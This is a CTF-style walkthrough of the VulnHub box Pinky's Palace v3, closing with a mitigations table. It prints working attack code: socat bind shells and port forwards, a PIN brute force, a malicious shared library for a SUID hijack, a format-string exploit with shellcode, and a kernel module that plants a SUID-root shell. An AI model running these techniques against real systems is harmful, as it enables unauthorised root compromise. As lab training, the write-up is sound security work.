VulnHub · Boot2Root · Full Writeup

Pinky's Palace v3

An OSCP-style box: web foothold, four-user lateral movement, a shared-library hijack, a custom SUID format-string binary, and a sudo insmod kernel-module root. No Metasploit — every hop by hand.

Difficulty Hard Author @Pink_P4nther Target 192.168.56.130 OS Debian 9 · i686 Kernel 4.9.0-6-686
root.txt 73b5f7ea50ccf91bb5d1ecb6aa94ef1c
www-data→ pinksec→ pinksecmanagement→ pinky→ root
01

Recon

# full TCP + service/script scan
nmap -sV -sC -p- -T4 -Pn --open 192.168.56.130
PortServiceNotes
21/tcpvsftpd 3.0.3Anonymous login — only a WELCOME note
5555/tcpOpenSSH 7.4p1Non-standard port
8000/tcpnginx 1.10.3Drupal 7.57 ("PinkDrup")

FTP anon held only the author's note ("stay away from Metasploit / pre-made tools"). CHANGELOG.txt pinned the version at Drupal 7.57 — inside the Drupalgeddon2 window. A gobuster sweep of :8000 showed standard Drupal scaffolding; the Drupal version itself was the way in.

02

Foothold — Drupalgeddon2 → www-data

Drupal < 7.58 is vulnerable to a pre-auth RCE via the Form API #post_render injection on /user/register (CVE-2018-7600). Exploited manually for a www-data shell, then stabilised with socat — the first of many uses tonight:

# target (through the RCE):
socat tcp-listen:7777,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
# Kali:
socat file:/dev/tty,raw,echo=0 tcp:192.168.56.130:7777
03

Loot & internal services

Drupal DB creds — /sites/default/settings.php

'username' => 'dpink'
'password' => 'drupink'

The MySQL users table yielded admin pinkadmin (a phpass hash — slow to crack and, by design, a dead end).

Loopback-only services (via netstat/ss)

BindService
127.0.0.1:80PinkSec Control Panel (separate from Drupal)
127.0.0.1:65334PSMC daemon (PSMCCLI's backend)
127.0.0.1:3306MySQL

Invisible to an external scan. Pivoted them out with socat port-forwards so Kali tooling could reach them:

socat tcp-listen:7778,reuseaddr,fork tcp:127.0.0.1:80 &
socat tcp-listen:7779,reuseaddr,fork tcp:127.0.0.1:65334 &
04

PinkSec Panel → pinksec

The internal :80 panel wants three fields: user, pass, and a 5-digit pin. A recoverable pwds.db wordlist fed a wfuzz run that found pinkadmin : AaPinkSecaAdmin4467; a 302 on the wrong-pin case confirmed user+pass, then the pin brute landed 55849.

wfuzz -c -z file,pin.txt \
  -u 'http://192.168.56.130:7778/login.php' \
  -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 41
# -> 302 on pin 55849

The panel's /PinkysC0n7r0lP4n31337/index.php exposes a cmd= Execute field — command execution as pinksec (uid 1001). Dropped into a socat shell there.

05

pinksec → pinksecmanagement — library hijack

A custom SUID binary in pinksec's home links against a world-writable library:

~pinksec/bin/pinksecd   -rwsr-xr-x  pinksecmanagement   (SUID, 32-bit)
/lib/libpinksec.so      -rwxrwxrwx                      (WORLD-WRITABLE)

No RPATH/RUNPATH — it resolves from /lib. Replace the library with one whose constructor fires at load time, before pinksecd's main calls the real symbols:

// libpinksec.so (malicious)
#include <stdlib.h>
#include <unistd.h>
void pwn() __attribute__((constructor));
void pwn(){ setreuid(1002,1002); setregid(1002,1002); system("/bin/bash -p"); }
void psbanner(){} void psopt(){} void psoptin(){} void psopt_init(){}  // stubs
gcc -shared -fPIC -m32 -o libpinksec.so evil.c
cp libpinksec.so /lib/libpinksec.so
~/bin/pinksecd -d          # constructor -> euid 1002

That gives euid 1002 but gid 1001. The next target, PSMCCLI, is gated behind group pinksecmanagement (gid 1002), so a real login with that primary group is needed. The pinksecmanagement home was now readable — dropped an SSH key and logged in on 5555:

ssh -i ~/.ssh/id_rsa -p 5555 pinksecmanagement@192.168.56.130
# id -> uid=1002 gid=1002(pinksecmanagement)  -> can exec PSMCCLI
06

pinksecmanagement → pinky — format string

/usr/local/bin/PSMCCLI   -rwsrwx---  pinky:pinksecmanagement   (SUID pinky, 32-bit)
checksec: No canary · No PIE (0x8048000) · Partial RELRO · exec stack · ASLR off

The bug: argshow() calls printf(argv[1]) directly — a textbook format string (%p leaks the stack). After the vulnerable printf, control flow hits putchar() then exit(), both GOT-resolved — our overwrite targets.

GOT:  printf 0x0804a00c · puts 0x0804a010 · exit 0x0804a014 · putchar 0x0804a01c

Strategy: use %hn writes to point the exit GOT at a NOP sled + execve shellcode carried in the payload on the stack. When exit() fires it jumps into the sled → shellcode → shell as pinky.

The hard part — calibration without gdb

The box has no gdb, which breaks the usual fixenv approach. Two traps cost real time and are worth recording:

Trap 1The format-string offset is launcher- and env-dependent. Measure it under one launcher and fire under another (python execve shifts $_; a huge env var pushes argv far down the parameter list) and the %hn writes hit a garbage pointer → SIGSEGV inside printf. Everything must be measured and fired under identical conditions — same launcher, same env, same payload length.
Trap 2The shellcode address. The author's PoC used fixenv for deterministic stack addresses. With no gdb, leak the buffer's address live instead.

Live buffer-address leak (no gdb)

One stack dword printf walks is a pointer to argv[1]. %N$s on that slot dereferences and re-prints our own input — which identifies it — and %N$p then gives its address:

# find the param holding the pointer (marker re-prints doubled):
for i in $(seq 1 40); do
  out=$(/usr/local/bin/PSMCCLI "ZZZZ%${i}\$s" 2>/dev/null)
  echo "$out" | grep -q 'ZZZZZZZZ' && echo ">>> buffer-pointer param = $i"
done
# -> param 8

# read the address AT THE FIXED 300-byte length we will fire with:
/usr/local/bin/PSMCCLI "$(perl -e 'print "ZZZZ%8\$p", "A"x292')"
# -> buffer start = 0xbffff730

Then the content-write offset at that same 300-byte length:

for i in $(seq 100 320); do
  base="BBBB%${i}\$p"; pad=$((300-${#base}))
  probe="${base}$(perl -e "print 'C'x$pad")"
  out=$(/usr/local/bin/PSMCCLI "$probe")
  echo "$out" | grep -q 42424242 && echo ">>> content offset $i"
done
# -> 136

Build and fire

# make_exp.py (pwntools)
from pwn import *
context.clear(arch='i386')
EXIT_GOT = 0x0804a014
buf, target = 0xbffff730, 0xbffff730 + 0x96   # aim mid NOP-sled
# execve("/bin/bash","-p") — null-free, shell-storm #606:
sc = (b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
      b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")
fmt = fmtstr_payload(136, {EXIT_GOT: target}, write_size='short')
payload = fmt + b"\x90"*(300 - len(fmt) - len(sc)) + sc   # fixed 300 bytes
open('exp','wb').write(payload)
# fire under the SAME launcher/length the calibration used:
/usr/local/bin/PSMCCLI "$(cat /tmp/exp)"
# -> euid=1000(pinky)
python -c 'import os; os.setreuid(1000,1000); os.execv("/bin/bash",["/bin/bash"])'
euid=1000(pinky)
07

pinky → root — sudo insmod

sudo -l
  (ALL) NOPASSWD: /sbin/insmod
  (ALL) NOPASSWD: /sbin/rmmod

Load a kernel module as root → root. Kernel headers are present (/lib/modules/4.9.0-6-686/build), so compile on the box.

gcc quirkgcc couldn't resolve its own prefix — cc1 and ld weren't found. Fixed with export COMPILER_PATH=/usr/lib/gcc/i686-linux-gnu/6:/usr/bin. Userspace linking still broke (crtbeginS.o, -lgcc), so the payload skips a C compile: the module just SUIDs a copy of bash. The module itself builds fine via kbuild.
// pinkit.c — on load, as root, make a SUID-root bash copy
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
static int __init pinkit_init(void){
    char *argv[] = {"/bin/sh","-c",
        "cp /bin/bash /tmp/rootsh; chown root:root /tmp/rootsh; chmod 4755 /tmp/rootsh", NULL};
    char *envp[] = {"HOME=/","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    return 0;
}
static void __exit pinkit_exit(void){}
module_init(pinkit_init); module_exit(pinkit_exit);
MODULE_LICENSE("GPL");
echo 'obj-m := pinkit.o' > Makefile
make -C /lib/modules/$(uname -r)/build M=/tmp modules
sudo /sbin/insmod /tmp/pinkit.ko
/tmp/rootsh -p
# id -> euid=0(root)
cat /root/root.txt   # 73b5f7ea50ccf91bb5d1ecb6aa94ef1c
[+][+][+] R00T — Congrats on Pwning Pinky's Palace V3! [+][+][+]
08

Findings & mitigations

#IssueFix
1Drupal 7.57 — Drupalgeddon2 pre-auth RCEPatch to ≥ 7.58; keep the CMS current
2DB creds in readable path / reusedLeast-privilege DB user; no credential reuse
3Admin panel brute-forceable (short pin, no lockout)Rate-limit & lockout; strong secrets; MFA
4Raw command-exec "Execute" panelNever ship a command runner; sanitise or remove
5World-writable /lib/libpinksec.soLibraries root-owned, mode 644
6Format-string bug in SUID PSMCCLIprintf("%s", x), not printf(x); FORTIFY, canary, PIE, full RELRO, NX stack
7NOPASSWD sudo on insmod/rmmodNever grant module loading via sudo — it's root-equivalent
8ASLR disabledkernel.randomize_va_space=2
09

Tools used

nmap · gobuster · searchsploit · socat (bind & reverse shells + port-forwarding) · wfuzz · mysql · gcc / kbuild · pwntools (fmtstr_payload) · manual format-string leaking.